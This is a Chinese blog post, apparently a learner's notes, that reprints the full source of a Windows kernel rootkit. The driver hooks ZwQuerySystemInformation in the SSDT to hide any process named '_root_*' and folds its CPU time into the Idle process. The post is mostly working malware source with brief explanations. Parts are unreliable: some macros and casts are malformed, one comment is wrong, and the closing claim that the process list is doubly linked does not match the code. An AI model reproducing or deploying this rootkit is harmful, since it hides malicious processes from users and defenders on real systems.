您的位置:首页 > 其它

rootkit---进程隐藏

2010-01-07 10:44 106 查看
这是《subverting windows kernel》中API
hook的一个例子,实现的功能就是进程隐藏。

实现机制:系统通过调用ZwQuerySystemInformation函数实现系统信息的查询,比如Taskmgr.exe使用该函数列举系统中运行的进程。通过Hook该函数并进行修改,对查询结果进行操作,从而实现进程隐藏。

具体代码+分析:

代码结构:四部分。第一部分:变量、宏、数据结构、函数原型等的声明

第二部分:NewZwQuerySystemInformation函数体

第三部分:驱动基本组成部分,DriverEntry和OnUnload

= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
= = = = = = = = = = = = = = =

#include "ntddk.h"

#pragma pack(1)

//定义一个KeServiceDescriptorTable结构体,该结构用来强制转换由windows内核导出的//KeServiceDescriptorTable变量的类型。

typedef struct ServiceDescriptorEntry {

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase; //Used only in checked
build

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry_t,
*PServiceDescriptorTableEntry_t;

#pragma pack()

__declspec(dllimport)
ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

// SYSTEMSERVICE 该宏采用由Ntoskrnl.exe导出的Zw*函数的地址,并返回相应的Nt*

//函数在SSDT中的地址

#define SYSTEMSERVICE(_function)
KeServiceDescriptorTable.ServiceTableBase[
*(PULONG)((PUCHAR)_function+1)]

//MDL是一个内存描述符列表,这里声明一块内存区域。

PMDL g_pmdlSystemCall;

PVOID *MappedSystemCallTable;

// SYSCALL_INDEX宏采用Zw*函数地址并返回它在SSDT中相应的索引号。

#define SYSCALL_INDEX(_Function)
*(PULONG)((PUCHAR)_Function+1)

#define HOOK_SYSCALL(_Function, _Hook, _Orig )
/

_Orig = (PVOID) InterlockedExchange( (PLONG)
&MappedSystemCallTable[SYSCALL_INDEX(_Function)],
(LONG) _Hook)

// UNHOOK_SYSCALL宏的作用是:

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig
) /

InterlockedExchange( (PLONG)
&MappedSystemCallTable[SYSCALL_INDEX(_Function)],
(LONG) _Hook)

//系统线程结构体定义

struct _SYSTEM_THREADS

{

LARGE_INTEGER
KernelTime;

LARGE_INTEGER
UserTime;

LARGE_INTEGER
CreateTime;

ULONG
WaitTime;

PVOID
StartAddress;

CLIENT_ID
ClientIs;

KPRIORITY
Priority;

KPRIORITY
BasePriority;

ULONG
ContextSwitchCount;

ULONG
ThreadState;

KWAIT_REASON
WaitReason;

};

//系统进程结构体定义

struct _SYSTEM_PROCESSES

{

ULONG
NextEntryDelta;

ULONG
ThreadCount;

ULONG
Reserved[6];

LARGE_INTEGER
CreateTime;

LARGE_INTEGER
UserTime;

LARGE_INTEGER
KernelTime;

UNICODE_STRING
ProcessName;

KPRIORITY
BasePriority;

ULONG
ProcessId;

ULONG
InheritedFromProcessId;

ULONG
HandleCount;

ULONG
Reserved2[2];

VM_COUNTERS
VmCounters;

IO_COUNTERS
IoCounters; //windows 2000 only

struct
_SYSTEM_THREADS
Threads[1];

};

//处理器时间结构体定义

struct _SYSTEM_PROCESSOR_TIMES

{

LARGE_INTEGER
IdleTime;

LARGE_INTEGER
KernelTime;

LARGE_INTEGER
UserTime;

LARGE_INTEGER
DpcTime;

LARGE_INTEGER
InterruptTime;

ULONG
InterruptCount;

};

// ZwQuerySystemInformation函数声明

NTSYSAPI

NTSTATUS

NTAPI ZwQuerySystemInformation(

IN ULONG SystemInformationClass,

IN PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength);

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(

ULONG SystemInformationCLass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG
ReturnLength

);

//保存原来的函数原型

ZWQUERYSYSTEMINFORMATION
OldZwQuerySystemInformation;

//定义两个全局变量,用于保存全局内核时间和用户时间

LARGE_INTEGER
m_UserTime;

LARGE_INTEGER
m_KernelTime;

= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
= = = = = = = = = = = = = = =

// ZwQuerySystemInformation() returns a linked list of
processes.

// The function below imitates it, except it removes from the
list any

// process who's name begins with "_root_".

NTSTATUS NewZwQuerySystemInformation(

IN ULONG SystemInformationClass,

IN PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength)

{

NTSTATUS ntStatus;

ntStatus =
((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

SystemInformationClass,

SystemInformation,

SystemInformationLength,

ReturnLength );

if(
NT_SUCCESS(ntStatus))

{

// Asking for a file and directory listing

if(SystemInformationClass == 5)

//SystemInformationClass =5代表查询系统进程信息

{

//定义两个进程结构体,curr和prev

struct _SYSTEM_PROCESSES *curr = (struct
_SYSTEM_PROCESSES *)SystemInformation;

struct _SYSTEM_PROCESSES *prev = NULL;

while(curr)

{

//DbgPrint("Current item is %x/n", curr);

if (curr->ProcessName.Buffer != NULL)

{

if(0 == memcmp(curr->ProcessName.Buffer, L"_root_",
12))

{

m_UserTime.QuadPart += curr->UserTime.QuadPart;

m_KernelTime.QuadPart +=
curr->KernelTime.QuadPart;

if(prev) // Middle or Last entry

{

if(curr->NextEntryDelta)

prev->NextEntryDelta +=
curr->NextEntryDelta;

else // we are last, so make prev the end

prev->NextEntryDelta = 0;

}

else

{

if(curr->NextEntryDelta)

{

// we are first in the list, so move it forward

(char *)SystemInformation +=
curr->NextEntryDelta;

}

else // we are the only process!

SystemInformation = NULL;

}

}

}

else // This is the entry for the Idle process

{

// Add the kernel and user
times of _root_*

// processes to the Idle
process.

curr->UserTime.QuadPart += m_UserTime.QuadPart;

curr->KernelTime.QuadPart +=
m_KernelTime.QuadPart;

// Reset the timers for next
time we filter

m_UserTime.QuadPart =
m_KernelTime.QuadPart = 0;

}

prev = curr;

if(curr->NextEntryDelta) ((char *)curr +=
curr->NextEntryDelta);

else curr =
NULL;

}

}

else if (SystemInformationClass == 8) // Query
for SystemProcessorTimes

{

struct _SYSTEM_PROCESSOR_TIMES * times = (struct
_SYSTEM_PROCESSOR_TIMES *)SystemInformation;

times->IdleTime.QuadPart += m_UserTime.QuadPart +
m_KernelTime.QuadPart;

}

}

return ntStatus;

}

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)

{

DbgPrint("ROOTKIT: OnUnload
called/n");

// unhook system calls

UNHOOK_SYSCALL(
ZwQuerySystemInformation, OldZwQuerySystemInformation,
NewZwQuerySystemInformation );

// Unlock and Free MDL

if(g_pmdlSystemCall)

{

MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);

IoFreeMdl(g_pmdlSystemCall);

}

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,

IN
PUNICODE_STRING theRegistryPath)

{

// Register a dispatch
function for Unload

theDriverObject->DriverUnload =
OnUnload;

// Initialize global times
to zero

// These variables will
account for the

// missing time our hidden
processes are

// using.

m_UserTime.QuadPart =
m_KernelTime.QuadPart = 0;

// save old system call
locations

OldZwQuerySystemInformation
=(ZWQUERYSYSTEMINFORMATION(SYSTEMSERVICE(ZwQuerySystemInformation));

// Map the memory into our
domain so we can change the permissions on the MDL

g_pmdlSystemCall =
MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);

if(!g_pmdlSystemCall)

return STATUS_UNSUCCESSFUL;

MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

// Change
the flags of the MDL

g_pmdlSystemCall->MdlFlags =
g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;

MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall,
KernelMode);

// hook
system calls

HOOK_SYSCALL(
ZwQuerySystemInformation, NewZwQuerySystemInformation,
OldZwQuerySystemInformation
);

return STATUS_SUCCESS;

}

总结:系统中的进程通过一个双向链表(是不是循环的还有待验证)组织在一起,代码中红色部分,就是执行一个遍历过程。刚开始有点迷糊,后来再请教了看雪的一个朋友后总算搞懂了。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: